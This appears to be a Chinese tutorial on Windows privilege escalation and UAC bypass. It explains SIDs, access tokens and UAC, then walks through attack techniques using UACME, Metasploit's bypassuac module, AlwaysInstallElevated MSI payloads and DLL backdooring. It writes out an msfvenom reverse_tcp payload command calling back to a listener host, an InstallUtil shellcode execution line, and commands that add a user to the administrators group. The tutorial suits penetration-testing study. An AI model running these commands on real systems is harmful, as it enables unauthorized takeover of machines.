0x01. windows提權介紹
1. Windows提權介紹
提權可分為 縱向提權與橫向提權 :
縱向提權 : 低權限角色獲得高權限角色的權限
普通用戶權限提升為system權限
域用戶權限提升為域控權限
橫向提權 : 獲取同級別角色的權限
普通用戶到普通用戶 , 域用戶到域用戶
Windows常用的提權方法有:
系統內核溢出漏洞提權、數據庫提權、錯誤的系統配置提權、組策略首選項提權、WEB中間件漏洞提權、DLL劫持提權、濫用高危權限令牌提權、第三方軟件/服務提權等。
C:\Windows\Microsoft.NET\Framework64\v4.0.30319>csc.exe /unsafe /platform:x86 /out:C:\\Windows\\Temp\\ctcse.exe C:\\Windows\\Temp\\InstallUtil-ShellCode.cs
InstallUtil.exe /logfile= /LogToConsole=false /U C:\\Windows\\Temp\\ctcse.exe
2. 安全標識符(SID)
安全標識符在 windows 中,系統是通過SID對用戶進行識別的,而不是很多用戶認為的 "用戶名稱"
。SID可以應用於系統內的所有用戶、組、服務或計算機,因為SID是一個具有惟一性、絕對不會重復產生的數值,所以,在刪除了一個賬戶( 如名為"A"的賬戶 )后,再次創建這個"A"賬戶時,前一個A與后一個A賬戶的SID是不相同的。這種設計使得賬戶的權限得到了最基礎的保護,盜用權限的情況也就徹底杜絕了。
查看用戶、組、服務或計算機的SID值,可以使用 " Whoami /all " 命令來執行。
3. UAC
UAC (User Account Control),中文翻譯為用戶帳戶控制
,是微軟在Windows Vista和Windows7中引用的新技術,主要功能是進行一些會影響系統安全的操作時,會自動觸發UAC用戶確認后才能執行。就是下面這個東西
因為大部分的惡意軟件、木馬病毒、廣告插件在進入計算機時都會有 如: 將文件復制到Windows或Program Files等自錄、安裝驅動、安裝ActiveX等操作,而這些操作都會觸發UAC用戶都可以在UAC提示時來禁止這些程序的運行。
win10關閉uac , 設置搜索uac
4. UAC的實現
ACL (Access Control List) : Windows中所有資源都有ACL , 這個列表決定了擁有何種權限的用戶/進程能夠這個資源。
在開啟了UAC之后,如果用戶是標准用戶,Windows會給用戶分配一個標准Access Token ,如果用戶以管理員權限登陸,會生成兩份訪問令牌,一份是完整的管理員訪問令牌 (Full Access Token),一份是標准用戶令牌。一般情況下會以標准用戶權限啟動Explorer.exe進程。如果用戶同意 , 則賦予完整管理員權限訪問令牌進行操作。
可以使用whoami /priv看當前的權限
當你windows默認用普通用戶打開cmd是無法通過命令新建用戶的 , 但是你通過管理員運行cmd的話就可以新建用戶了 , 這就是一個對資源訪問令牌的賦予過程
5. 提權常用命令
net user 查看用戶數量
whoami /priv 查看用戶權限
quser 查看在線用戶
tasklist 查看當前進程
net user a a /add 添加用戶
net localgroup administrators a /add 添加用戶到組
0x02. UAC繞過思路
1. Akagi工具獲取UAC權限
使用vs2019本地編譯后可以使用akagi3241或者akagi64 41啟動程序,41這個指的是README中描述的方法索引,運行后可以直接得到管理員權限的cmd窗口。
項目地址: https://github.com/hfiref0x/UACME
下載源碼--》vs2019打開--》重新生成--》執行命令akagi64.exe 61 c:\windows\system32\cmd.exe
復現失敗 , 確切的說是編譯失敗
2. MSF獲取UAC權限
首先通過msf生成一個木馬 , 然后監聽上線,將session放到后台 , 默認這個session是普通用戶的 , 然后通過bypassuac模塊 , 繞過uac ,重新生成一個session
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=4444 -f exe -o shell.exe
use exploit/windows/local/bypassuac
set session 1
set target 1
run
注意 :win10沒有這類漏洞 , 此方法適用於win7復現 , 如何檢測是否bypass了呢?兩個會話一個可以新建用戶 , 一個不可以
3. MSI文件直接獲取超管權限
我們可以使用msf生成一個msi文件,在Windows中, msi文件會以高級管理員權限運行。
上線之后的權限是nt authoritylsystem 任意用戶以NT AUTHORITYI SYSTEM權限安裝msi , 安裝的時候會觸發UAC
AlwaysInstallElevated是一個策略設置,當在系統中使用Windows Installer安裝任何程序時,該參數允許非特權用戶以system權限運行MSI文件。如果目標系統上啟用了這一設置,我們可以使用msf生成msi文件來以system權限執行任意payload。
步驟:
1.msf生成一個msi文件
2.msf監聽
3.靶機運行安裝
4.上線
4. DLL后門注入繞過UAC
也可以使用文件綁定形式flash.exe
或者使用backdoor這款工具注入dll或者exe
https:/lgithub.com/secretsquirrel/the-backdoor-factory 復現失敗
0x03. 漏洞提權
1. 巴西烤肉(Pr)提權
巴西烤肉提權也稱之為Microsoft Windows RPCSS服務隔離本地權限提升漏洞。
原理是: RPCSS服務沒有正確地隔離NetworkService或LocalService帳號下運行的進程,本地攻擊者可以利用令牌劫持的方式獲得權限提升。成功利用此漏洞的攻擊者可以完全控制受影響的系統,攻擊者可隨后安裝程序;查看、更改或刪除數據;或者創建擁有完全用戶權限的新帳戶。
該提權只適用於Windows 2003 Server
這里不做演示了
2. 計划任務提權
在Windows中可以利用計划任務覆蓋原有的程序來進行替換